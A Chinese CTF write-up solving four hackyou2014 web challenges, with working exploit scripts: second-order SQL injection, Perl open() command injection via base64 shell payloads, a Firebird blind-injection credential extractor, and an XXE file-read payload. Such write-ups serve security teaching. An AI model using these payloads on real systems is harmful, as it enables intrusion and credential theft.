hackyou2014 CTF web關卡通關攻略
作者:Mickey,瞌睡龍
所有檔案已打包可自己搭建測試:
第一關
http://hackyou2014tasks.ctf.su:10080/
開啟網頁,透過看原始碼發現有
#!html
<!-- TODO: remove index.phps -->
嘗試訪問index.phps,如圖1,
透過檢視index.phps,發現原始碼如下:
#!php
<?php
include 'db.php';
session_start();
if (!isset($_SESSION['login'])) {
$_SESSION['login'] = 'guest'.mt_rand(1e5, 1e6);
}
$login = $_SESSION['login'];
if (isset($_POST['submit'])) {
if (!isset($_POST['id'], $_POST['vote']) || !is_numeric($_POST['id']))
die('Hacking attempt!');
$id = $_POST['id'];
$vote = (int)$_POST['vote'];
if ($vote > 5 || $vote < 1)
$vote = 1;
$q = mysql_query("INSERT INTO vote VALUES ({$id}, {$vote}, '{$login}')");
$q = mysql_query("SELECT id FROM vote WHERE user = '{$login}' GROUP BY id");
echo '<p><b>Thank you!</b> Results:</p>';
echo '<table border="1">';
echo '<tr><th>Logo</th><th>Total votes</th><th>Average</th></tr>';
while ($r = mysql_fetch_array($q)) {
$arr = mysql_fetch_array(mysql_query("SELECT title FROM picture WHERE id = ".$r['id']));
echo '<tr><td>'.$arr[0].'</td>';
$arr = mysql_fetch_array(mysql_query("SELECT COUNT(value), AVG(value) FROM vote WHERE id = ".$r['id']));
echo '<td>'.$arr[0].'</td><td>'.round($arr[1],2).'</td></tr>';
}
echo '</table>';
echo '<br><a href="index.php">Back</a><br>';
exit;
}
?>
<html>
<head>
<title>Picture Gallery</title>
</head>
<body>
<p>Welcome, <?php echo $login; ?></p>
<p>Help us to choose the best logo!</p>
<form action="index.php" method="POST">
<table border="1" cellspacing="5">
<tr>
<?php
$q = mysql_query('SELECT * FROM picture');
while ($r = mysql_fetch_array($q)) {
echo '<td><img src="./images/'.$r['image'].'"><div align="center">'.$r['title'].'<br><input type="radio" name="id" value="'.$r['id'].'"></div></td>';
}
?>
</tr>
</table>
<p>Your vote:
<select name="vote">
<option value="1">1</option>
<option value="2">2</option>
<option value="3">3</option>
<option value="4">4</option>
<option value="5">5</option>
</select></p>
<input type="submit" name="submit" value="Submit">
</form>
</body>
</html>
<!-- TODO: remove index.phps -->
其中id是被is_numeric過濾後,插入到vote表裡的,可以用十六進位制或者二進位制繞過is_numeric,把注入查詢語句插入到vote表裡,然後又從vote表裡取出,形成二次注入。
POC如下:
#!python
#!/usr/bin/env python
import requests
import binascii
import sys
def hack(inject):
vul={'id':inject,'vote':3,'submit':1}
req=requests.post('http://hackyou2014tasks.ctf.su:10080/index.php',data=vul)
print req.content
if __name__=="__main__":
hack("0x" + binascii.hexlify(sys.argv[1]))
效果圖如2
第二關
http://hackyou2014tasks.ctf.su:20080/
這關開啟後是個貪吃蛇遊戲,只有註冊使用者才能儲存結果,我們註冊一個使用者babybox,玩完遊戲後訪問後臺,發現有個ip引數值得注意,嘗試提交
http://hackyou2014tasks.ctf.su:20080/cgi-bin/index.pl?ip=../../../../../../var/www/cgi-bin/index.pl
發現有LFI,如圖3
透過讀取到的index.pl原始碼可以發現,
#!perl
$login = $session->param('login');
print $req->p('Hello, '.$login.'!');
if ($req->param('ip')) {
$file = './data/'.MD5($login)."/".$req->param('ip');
if (-e $file) {
open FILE, $file;
$html = '';
while (<FILE>) {
$html .= $_;
}
close(FILE);
print $req->start_table({border=>1});
print $req->Tr($req->th(['Date', 'Score']));
print $html;
print $req->end_table();
print $req->a({href=>'index.pl'}, 'Back');
} else {
print $req->h1('Error');
}
}
其中的open函式,可以導致命令執行,下載火狐的X-Forwarded-For Header外掛,設定X-Forwarded-For為|pwd|,然後玩遊戲,進後臺看成績,提交
http://hackyou2014tasks.ctf.su:20080/cgi-bin/index.pl?ip=|pwd|
發現命令注入成功了。由於這裡不能使用/和\字元,我們可以使用base64編碼下,如圖4
這之前需要在提交成績的時候X-Forwarded-For改為
|`echo bHMgLw== | base64 -d`|
第三關
http://hackyou2014tasks.ctf.su:30080/
這關可分為兩部分
1、找到隱藏的管理後臺
2、盲注獲取許可權
找到隱藏的管理後臺需要利用windows平臺上的一個技巧,具體的研究測試報告可以看這裡:
Windows+PHP bug realted with findfirstfile
php的某些函式獲取檔案時,可以使用<
代替其他字元進行猜解。
p<<
表示
p*
include_once函式包含檔案將會返回以p開頭的第一個檔案,這裡返回了phpinfo()的資訊。
可以知道後臺的資料庫是firebird,如圖5,
然後猜解後臺目錄:
http://hackyou2014tasks.ctf.su:30080/index.php?page=0<<
http://hackyou2014tasks.ctf.su:30080/index.php?page=0a<<
根據頁面返回當中是否有
Page does not exists
字串,來判斷猜解的字串是否正確。
然後用burpsuite去猜測剩餘的字元,全部猜測成功後,發現
http://hackyou2014tasks.ctf.su:30080/0a5d2eb35b90e338ed481893af7a6d78/index.php
是個後臺登陸口,沒有賬號,繼續翻前臺,發現
http://hackyou2014tasks.ctf.su:30080/index.php?page=shop&order=cost
有注入
http://hackyou2014tasks.ctf.su:30080/index.php?page=shop&order=cost ASC
其實看到order引數,就很容易猜測可能是order by語句後的注入 :)
針對這個場景,firebird資料庫,可控語句在order by之後,只能採取盲注:
已有人寫好跑資料的perl指令碼:
#!perl
use LWP::Simple;
#username:password
#admin:9shS3FAk
# extract columns from USERS
$url="http://hackyou2014tasks.ctf.su:30080/index.php?page=shop&order=";
$fst="case when(1=(select first 1 1 from rdb\$relation_fields where lower(RDB\$RELATION_NAME)=ascii_char(117)||ascii_char(115)||ascii_char(101)||ascii_char(114)||ascii_char(115) and lower(rdb\$field_name) LIKE ";
$snd="||ascii_char(37) )) then (select first 1 1 from rdb\$relations) else (select first 2 1 from rdb\$relations) end";
$b=0;
# LOGIN column part
for($j=0;$j<100;$j++){
for($i=97;$i<122;$i++){
$sql=$url.$fst."ascii_char(".$i.")".$snd;
#print "j: ".$j." i:".$i."\n";
$html=get $sql;
if ($html=~/1337/ && $i!=37 && $i!=95){
print chr($i);
$fst.="ascii_char(".$i.")||";
last;
}else{
$b++;
}
}
if($b==122-97){
last;
}else{
$b=0;
}
}
print "\n";
# PASSWD column part
$fst="case when(1=(select first 1 1 from rdb\$relation_fields where lower(RDB\$RELATION_NAME)=ascii_char(117)||ascii_char(115)||ascii_char(101)||ascii_char(114)||ascii_char(115) and lower(rdb\$field_name) LIKE ";
$b=0;
for($j=0;$j<100;$j++){
for($i=97;$i<122;$i++){
$sql=$url.$fst."ascii_char(".$i.")".$snd;
$html=get $sql;
if ($html=~/1337/ && $i!=37 && $i!=95 && $i!=108){
print chr($i);
$fst.="ascii_char(".$i.")||";
last;
}else{
$b++;
}
}
if($b==122-97){
last;
}else{
$b=0;
}
}
print "\n";
#extract data from USERS ( LOGIN,PASSWD)
$fst="case when(1=(select first 1 1 from USERS where LOGIN LIKE ";
$snd="||ascii_char(37) )) then (select first 1 1 from rdb\$relations) else (select first 2 1 from rdb\$relations) end";
for($j=0;$j<100;$j++){
for($i=65;$i<=122;$i++){
$sql=$url.$fst."ascii_char(".$i.")".$snd;
#print $j." ".$i."\n";
$html=get $sql;
if ($html=~/1337/ && $i!=37 && $i!=95){
print chr($i)."\n";
$fst.="ascii_char(".$i.")||";
last;
}else{
$b++;
}
}
if($b==123-65){
last;
}else{
$b=0;
}
}
print "\n";
$fst="case when(1=(select first 1 1 from USERS where PASSWD LIKE ";
$snd="||ascii_char(37) )) then (select first 1 1 from rdb\$relations) else (select first 2 1 from rdb\$relations) end";
for($j=0;$j<100;$j++){
for($i=48;$i<=122;$i++){
$sql=$url.$fst."ascii_char(".$i.")".$snd;
#print $j." ".$i."\n";
$html=get $sql;
if ($html=~/1337/ && $i!=37 && $i!=95){
print chr($i)."\n";
$fst.="ascii_char(".$i.")||";
last;
}else{
$b++;
}
}
if($b==123-48){
last;
}else{
$b=0;
}
}
print "\n";
最後可以看到資料為:
admin
9shS3FAk
到登陸頁面登陸即可過關。
第四關
這關提供原始碼下載了,http://hackyou.ctf.su/files/web400.zip
#!php
<?php
include 'config.php';
include 'classes.php';
$action = (isset($_REQUEST['action'])) ? $_REQUEST['action'] : 'View';
$param = (isset($_REQUEST['param'])) ? $_REQUEST['param'] : 'index';
$page = new $action($param);
echo $page;
?>
看這行
#!php
$page = new $action($param);
我們能例項化任意的類,並且傳遞$param給建構函式,我們先拿SimpleXMLElement看看效果
http://cn2.php.net/manual/en/simplexmlelement.construct.php
POC如下:
#!python
#!/usr/bin/env python
import requests
import sys
import base64
def hack(inject):
vul={'param':'<!DOCTYPE foo [<!ENTITY xxe SYSTEM "' + inject + '" >]><foo>&xxe;</foo>'}
req=requests.post('http://hackyou2014tasks.ctf.su:40080/index.php?action=SimpleXMLElement',data=vul)
print base64.b64decode(req.content)
if __name__=="__main__":
hack(sys.argv[1])
效果如圖6:
也可以用SplFileObject
http://cn2.php.net/manual/en/splfileobject.construct.php
效果圖如7:
最後用GlobIterator得到結果
http://cn2.php.net/manual/en/globiterator.construct.php
效果圖如8:
相關文章
- 31C3 CTF web關writeup2020-08-19Web
- CTF—web基礎2024-08-28Web
- [Flutter新手村]—除錯通關攻略2020-04-05Flutter除錯
- web worker 小白攻略!!!2018-06-01Web
- 《忍者神龜2》通關感受攻略 fc忍者神龜2遊戲攻略2016-12-07遊戲
- 【原創】WEB元件的關聯關係2008-09-02Web元件
- CTF-BugKu-WEB-1-202020-09-18Web
- CTF-BugKu-WEB-35-412020-09-19Web
- CTF萌新入坑指南(web篇)2020-09-27Web
- 【轉】外企面試順利通關全攻略2008-06-08面試
- 關於web.xml2003-08-08WebXML
- 一道關於逆向的實戰CTF題目分析2024-07-12
- 事關年終獎,備受關注的專案績效管理攻略來嘍!2022-01-27
- Openstack的web管理端相關2016-10-18Web
- web.xml相關配置2017-11-27WebXML
- web service相關轉摘2012-07-23Web
- 關於web遊戲的搭建2012-01-18Web遊戲
- Web前端培訓面試攻略2021-04-09Web前端面試
- Tron_CTF2024新生賽 WEB2024-05-30TF2Web
- 雷霆戰機 提升關卡經驗魔方掉率攻略2014-04-27
- [Web][Tomcat]Tomcat相關2019-03-20WebTomcat
- 關於Cookie、session和Web Storage2018-04-17CookieSessionWeb
- WEB相關背景知識(新手)2018-07-10Web
- 關於web start的問題2004-11-11Web
- Jetty嵌入式Web容器攻略2014-01-02JettyWeb
- 0ctf_2016 _Web_unserialize2020-07-09Web
- docker基於lamp的ctf web題目容器2021-09-09DockerLAMPWeb
- CTF | Web安全 Part1:基礎知識2018-08-17Web
- 記一道國際賽CTF web題2023-05-04Web
- 關於Java Web工程中web.xml檔案2014-06-06JavaWebXML
- SegmentFault 思否技術週刊 -- Go 語言通關攻略2022-05-18Go
- MacBook Pro用法攻略:如何設定MacBook Pro自動關機?2021-12-14Mac
- 羊了個羊第二關怎麼過?羊了個羊遊戲攻略通關技巧【圖文】2022-09-15遊戲
- Web Sql 關聯式資料庫2019-02-16WebSQL資料庫
- 關於WEB-INF的訪問2020-10-21Web
- 關於 Web 應用的 Prerender 策略2023-05-16Web
- Web Components 系列(五)—— 關於 Templates2022-02-11Web
- web.xml中的servlet相關2018-02-27WebXMLServlet